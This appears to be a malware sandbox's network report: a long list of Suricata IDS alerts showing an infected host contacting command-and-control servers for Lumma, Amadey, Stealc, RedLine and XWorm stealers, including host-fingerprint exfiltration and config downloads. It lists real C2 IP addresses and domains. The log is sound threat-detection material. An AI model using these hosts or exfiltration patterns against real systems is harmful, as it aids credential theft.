Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:49969 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2057979 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz) : 192.168.2.5:49670 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057931 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz) : 192.168.2.5:65186 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057977 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz) : 192.168.2.5:65186 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057925 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz) : 192.168.2.5:56945 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057973 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz) : 192.168.2.5:56945 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057927 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz) : 192.168.2.5:54327 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057975 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz) : 192.168.2.5:54327 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057943 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz) : 192.168.2.5:61474 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057971 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz) : 192.168.2.5:61474 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057935 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz) : 192.168.2.5:53091 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057969 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz) : 192.168.2.5:53091 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:49975 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:49975 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:49975 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:49984 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:49979 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:49978 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:49979 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:49978 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:49978 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2058160 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fightlsoser .click in TLS SNI) : 192.168.2.5:50009 -> 104.21.35.43:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50004 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50005 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:49979 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2058159 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fightlsoser .click) : 192.168.2.5:62719 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057949 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz) : 192.168.2.5:57380 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:49984 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2057981 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz) : 192.168.2.5:57380 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057945 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz) : 192.168.2.5:63712 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057983 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz) : 192.168.2.5:63712 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:49984 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2057931 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz) : 192.168.2.5:58777 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057977 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz) : 192.168.2.5:58777 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057925 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz) : 192.168.2.5:52097 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:50005 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057973 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz) : 192.168.2.5:52097 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057927 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz) : 192.168.2.5:60863 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50007 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2057975 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz) : 192.168.2.5:60863 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50007 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:50005
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50007 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2057943 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz) : 192.168.2.5:63226 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50025 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:50005 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057971 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz) : 192.168.2.5:63226 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50025 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50025 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2057935 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz) : 192.168.2.5:58279 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:50005
Source: Network traffic	Suricata IDS: 2057969 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz) : 192.168.2.5:58279 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057929 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz) : 192.168.2.5:53296 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057979 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz) : 192.168.2.5:53296 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50034 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50034 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50034 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:50005 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50038 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50038 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50038 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.5:50033 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50044 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50044 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50044 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50058 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50058 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50058 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50064 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50088 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50088 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50088 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50105 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50105 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50105 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50122 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50122 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50122 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2856121 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M2 : 192.168.2.5:50120 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2855239 - Severity 1 - ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST) : 192.168.2.5:50121 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50129 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50129 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50129 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2855239 - Severity 1 - ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST) : 192.168.2.5:50125 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2856150 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M6 : 192.168.2.5:50125 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50133 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50133 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50133 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50138 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50138 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50138 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50136 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50142 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50136 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50142 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50136 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50142 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50135 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50149 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50143 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50149 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50143 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50135 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50149 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50135 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50144 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50144 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50144 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50134 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50134 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50143 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50134 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2856121 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M2 : 192.168.2.5:50150 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50145 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50145 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50145 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50151 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50151 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50151 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.5:50155 -> 107.189.17.186:28269
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50161 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50161 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50161 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2855239 - Severity 1 - ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST) : 192.168.2.5:50162 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50175 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50175 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2855239 - Severity 1 - ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST) : 192.168.2.5:50168 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50169 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50169 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2856150 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M6 : 192.168.2.5:50168 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2856151 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M7 : 192.168.2.5:50179 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50175 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50186 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50186 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2045000 - Severity 1 - ET MALWARE RedLine Stealer - CheckConnect Response : 107.189.17.186:28269 -> 192.168.2.5:50155
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50169 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50186 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50185 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:50170
Source: Network traffic	Suricata IDS: 2849351 - Severity 1 - ETPRO MALWARE RedLine - EnvironmentSettings Request : 192.168.2.5:50155 -> 107.189.17.186:28269
Source: Network traffic	Suricata IDS: 2856151 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M7 : 192.168.2.5:50178 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50190 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50190 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50190 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2856151 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M7 : 192.168.2.5:50191 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2045001 - Severity 1 - ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound : 107.189.17.186:28269 -> 192.168.2.5:50155
Source: Network traffic	Suricata IDS: 2046056 - Severity 1 - ET MALWARE Redline Stealer/MetaStealer Family Activity (Response) : 107.189.17.186:28269 -> 192.168.2.5:50155
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50193 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50193 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50193 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2849352 - Severity 1 - ETPRO MALWARE RedLine - SetEnvironment Request : 192.168.2.5:50155 -> 107.189.17.186:28269
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50206 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50206 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50206 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50212 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50212 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50212 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2848200 - Severity 1 - ETPRO MALWARE RedLine - GetUpdates Request : 192.168.2.5:50155 -> 107.189.17.186:28269
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50181 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50181 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50181 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2856151 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M7 : 192.168.2.5:50210 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50184 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50184 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50184 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2856151 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M7 : 192.168.2.5:50211 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50214 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50214 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50214 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2852870 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes : 107.189.17.186:7000 -> 192.168.2.5:50165
Source: Network traffic	Suricata IDS: 2852874 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2 : 107.189.17.186:7000 -> 192.168.2.5:50165
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50217 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50217 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50217 -> 185.81.68.147:80
